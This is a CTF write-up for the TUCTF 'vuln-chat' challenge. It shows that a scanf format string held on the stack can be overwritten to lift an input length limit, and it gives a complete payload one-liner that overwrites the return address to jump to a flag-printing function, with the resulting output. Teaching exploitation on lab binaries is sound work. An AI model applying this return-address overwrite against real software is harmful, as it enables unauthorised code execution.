TUCTF: Exploiting vuln-chat

Overwriting a scanf format string to turn a limited overflow into control of the return address.

If we execute it, we get a chat, it asks for our nickname and then our message:

2_5_tu_vulnchat/wip$ ./vuln-chat
----------- Welcome to vuln-chat -------------
Enter your username: lala
Welcome lala!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
lala: lele
djinn: Sorry. That's not good enough

We open it with r2 With afl we see an interesting function called sym.printFlag 0x0804856b 1 31 sym.printFlag We see that it prints the flag:

┌ 31: sym.printFlag ();
│           0x0804856b      55             push ebp
│           0x0804856c      89e5           mov ebp, esp
│           0x0804856e      68f0860408     push str._bin_cat_._flag.txt ; 0x80486f0 ; "/bin/cat ./flag.txt"
│           0x08048573      e8a8feffff     call sym.imp.system         ; int system(const char *string)
│           0x08048578      83c404         add esp, 4
│           0x0804857b      6804870408     push str.Use_it_wisely      ; 0x8048704 ; "Use it wisely"
│           0x08048580      e88bfeffff     call sym.imp.puts           ; int puts(const char *s)
│           0x08048585      83c404         add esp, 4
│           0x08048588      c9             leave
└           0x08048589      c3             ret

Let’s see now the main function.

We see that the inputs are getting inserted with scanf. I couldn’t see the problem… until here:

│           0x080485be      c745fb2533..   mov dword [format], 0x73303325 ; '%30s'
│           0x080485c5      c645ff00       mov byte [var_1h], 0
│           0x080485c9      8d45e7         lea eax, [var_19h]

and

│           0x0804862c      8d45d3         lea eax, [var_2dh]
│           0x0804862f      50             push eax
│           0x08048630      8d45fb         lea eax, [format]
│           0x08048633      50             push eax                    ; const char *format
│           0x08048634      e827feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)

The format ( 30%s is stored in a local variable). This local variable is within the range of the overflow of the first input. 0x19-0x5= 20 bytes of distance, and we can write up to 30 bytes. Then, with the scond input, we can put an arbitrary string length, giving us the ability to overwrite the eip

so it will be: 20 bytes of trash + %90s(for example) + remaining bytes to waste first input (6 bytes) + 49 bytes of padding + 0x0804856b (you could also instead of writing those 6 padding bytes write \n | \x0a | … or any white space character

$python3 -c "import sys;sys.stdout.buffer.write(b'A'*20+b'\x25\x39\x30\x73'+b'B'*6+b'C'*49+b'\x6b\x85\x04\x08')" | ./vuln-chat```
----------- Welcome to vuln-chat -------------
Enter your username: Welcome AAAAAAAAAAAAAAAAAAAA%90sBBBBBB!
Connecting to 'djinn'
--- 'djinn' has joined your chat ---
djinn: I have the information. But how do I know I can trust you?
AAAAAAAAAAAAAAAAAAAA%90sBBBBBB: djinn: Sorry. That's not good enough
flag{g0ttem_b0yz}
Use it wisely
Segmentation fault (core dumped)